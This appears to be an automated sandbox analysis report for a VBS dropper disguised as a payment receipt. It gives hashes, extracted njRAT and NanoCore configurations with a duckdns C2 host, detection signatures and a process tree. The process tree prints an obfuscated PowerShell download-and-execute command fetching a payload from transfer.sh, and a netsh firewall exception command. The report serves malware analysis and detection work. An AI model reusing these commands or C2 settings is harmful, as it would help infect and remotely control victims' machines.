Analysis

  • max time kernel
    158s
  • max time network
    164s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    08-12-2021 19:08

General

  • Target

    U2NM18C9NPayment-Receipt.vbs

  • Size

    483B

  • MD5

    f06c964ada559c2eaca171edcbcd86a2

  • SHA1

    5222e4b0d39278418a1332331a567b2e8c6ff54e

  • SHA256

    ac316c0d4300e61d9e3bdb5a8c2d0069a41973c5495f0606f913e4c311e7df46

  • SHA512

    4a38c2b08cce4857281e7fafe0348bf1520de5e8fc1a5e285f702020f0a5caf0984d4dea550b109367201aa73ed28fe1f1fd888385f0f81207a48cd5c6987c08

Malware Config

Extracted

Family

njrat

Version

1.9

Botnet

HacKed

Mutex

Microsoft.Exe

Attributes
  • reg_key

    Microsoft.Exe

Extracted

Family

nanocore

Version

1.2.2.0

C2

nov6400.duckdns.org:6400

Mutex

513706f3-29db-4e99-a51e-059607a7bc45

Attributes
  • activate_away_mode

    true

  • backup_connection_host

    nov6400.duckdns.org

  • backup_dns_server

    8.8.4.4

  • buffer_size

    65535

  • build_time

    2021-09-17T19:15:29.081949136Z

  • bypass_user_account_control

    true

  • bypass_user_account_control_data

  • clear_access_control

    true

  • clear_zone_identifier

    false

  • connect_delay

    4000

  • connection_port

    6400

  • default_group

    nov 6400

  • enable_debug_mode

    true

  • gc_threshold

    1.048576e+07

  • keep_alive_timeout

    30000

  • keyboard_logging

    false

  • lan_timeout

    2500

  • max_packet_size

    1.048576e+07

  • mutex

    513706f3-29db-4e99-a51e-059607a7bc45

  • mutex_timeout

    5000

  • prevent_system_sleep

    false

  • primary_connection_host

    nov6400.duckdns.org

  • primary_dns_server

    8.8.8.8

  • request_elevation

    true

  • restart_delay

    5000

  • run_delay

    0

  • run_on_startup

    true

  • set_critical_process

    true

  • timeout_interval

    5000

  • use_custom_dns_server

    false

  • version

    1.2.2.0

  • wan_timeout

    8000

Signatures

  • BitRAT

    BitRAT is a remote access tool written in C++ and uses leaked source code from other families.

  • BitRAT Payload 3 IoCs
  • NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)

    suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)

  • suricata: ET MALWARE Observed Malicious SSL Cert (BitRAT CnC)

    suricata: ET MALWARE Observed Malicious SSL Cert (BitRAT CnC)

  • Blocklisted process makes network request 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\U2NM18C9NPayment-Receipt.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3556
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Chiptech=('{2}{1}{0}{3}{4}' -f'bC','We','Net.','lie','nt'); $Freq=('{3}{0}{1}{2}' -f'load','Str','ing','Down'); $sysinfo=('{2}{0}{1}' -f'e','X','I'); &('I'+'eX')(N`ew-Ob`je`ct $Chiptech).$Freq('https://transfer.sh/get/FbOTjD/bypass.txt')
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3664
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
        3⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1016
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
        3⤵
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2832
        • C:\Windows\SysWOW64\netsh.exe
          netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe" "aspnet_regsql.exe" ENABLE
          4⤵
            PID:1708
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
          3⤵
            PID:812
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of AdjustPrivilegeToken
            PID:856

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/856-164-0x000000000041E792-mapping.dmp

      • memory/856-172-0x0000000005050000-0x0000000005055000-memory.dmp

        Filesize

        20KB

      • memory/856-175-0x0000000004E70000-0x000000000536E000-memory.dmp

        Filesize

        5.0MB

      • memory/856-174-0x0000000005360000-0x0000000005363000-memory.dmp

        Filesize

        12KB

      • memory/856-171-0x0000000004E00000-0x0000000004E01000-memory.dmp

        Filesize

        4KB

      • memory/856-173-0x00000000050C0000-0x00000000050D9000-memory.dmp

        Filesize

        100KB

      • memory/856-163-0x0000000000400000-0x0000000000438000-memory.dmp

        Filesize

        224KB

      • memory/1016-159-0x0000000000400000-0x00000000007E4000-memory.dmp

        Filesize

        3.9MB

      • memory/1016-150-0x0000000000400000-0x00000000007E4000-memory.dmp

        Filesize

        3.9MB

      • memory/1016-148-0x0000000000400000-0x00000000007E4000-memory.dmp

        Filesize

        3.9MB

      • memory/1016-149-0x00000000007E2730-mapping.dmp

      • memory/1708-176-0x0000000000000000-mapping.dmp

      • memory/2832-153-0x000000000040BBCE-mapping.dmp

      • memory/2832-158-0x0000000005B60000-0x0000000005B61000-memory.dmp

        Filesize

        4KB

      • memory/2832-157-0x0000000005660000-0x0000000005661000-memory.dmp

        Filesize

        4KB

      • memory/2832-156-0x00000000050C0000-0x00000000050C1000-memory.dmp

        Filesize

        4KB

      • memory/2832-152-0x0000000000400000-0x0000000000410000-memory.dmp

        Filesize

        64KB

      • memory/2832-179-0x0000000006270000-0x0000000006271000-memory.dmp

        Filesize

        4KB

      • memory/2832-177-0x0000000005160000-0x000000000565E000-memory.dmp

        Filesize

        5.0MB

      • memory/2832-178-0x0000000005C70000-0x0000000005C71000-memory.dmp

        Filesize

        4KB

      • memory/3664-125-0x000002A07D320000-0x000002A07D322000-memory.dmp

        Filesize

        8KB

      • memory/3664-147-0x000002A01A360000-0x000002A01A364000-memory.dmp

        Filesize

        16KB

      • memory/3664-137-0x000002A07D320000-0x000002A07D322000-memory.dmp

        Filesize

        8KB

      • memory/3664-136-0x000002A07EC86000-0x000002A07EC88000-memory.dmp

        Filesize

        8KB

      • memory/3664-135-0x000002A07D320000-0x000002A07D322000-memory.dmp

        Filesize

        8KB

      • memory/3664-130-0x000002A07EC83000-0x000002A07EC85000-memory.dmp

        Filesize

        8KB

      • memory/3664-129-0x000002A07EC80000-0x000002A07EC82000-memory.dmp

        Filesize

        8KB

      • memory/3664-127-0x000002A07D320000-0x000002A07D322000-memory.dmp

        Filesize

        8KB

      • memory/3664-126-0x000002A01A3A0000-0x000002A01A3A1000-memory.dmp

        Filesize

        4KB

      • memory/3664-115-0x0000000000000000-mapping.dmp

      • memory/3664-167-0x000002A07D320000-0x000002A07D322000-memory.dmp

        Filesize

        8KB

      • memory/3664-124-0x000002A07D320000-0x000002A07D322000-memory.dmp

        Filesize

        8KB

      • memory/3664-123-0x000002A07D320000-0x000002A07D322000-memory.dmp

        Filesize

        8KB

      • memory/3664-122-0x000002A07D320000-0x000002A07D322000-memory.dmp

        Filesize

        8KB

      • memory/3664-121-0x000002A01A1F0000-0x000002A01A1F1000-memory.dmp

        Filesize

        4KB

      • memory/3664-120-0x000002A07D320000-0x000002A07D322000-memory.dmp

        Filesize

        8KB

      • memory/3664-119-0x000002A07D320000-0x000002A07D322000-memory.dmp

        Filesize

        8KB

      • memory/3664-118-0x000002A07D320000-0x000002A07D322000-memory.dmp

        Filesize

        8KB

      • memory/3664-117-0x000002A07D320000-0x000002A07D322000-memory.dmp

        Filesize

        8KB

      • memory/3664-116-0x000002A07D320000-0x000002A07D322000-memory.dmp

        Filesize

        8KB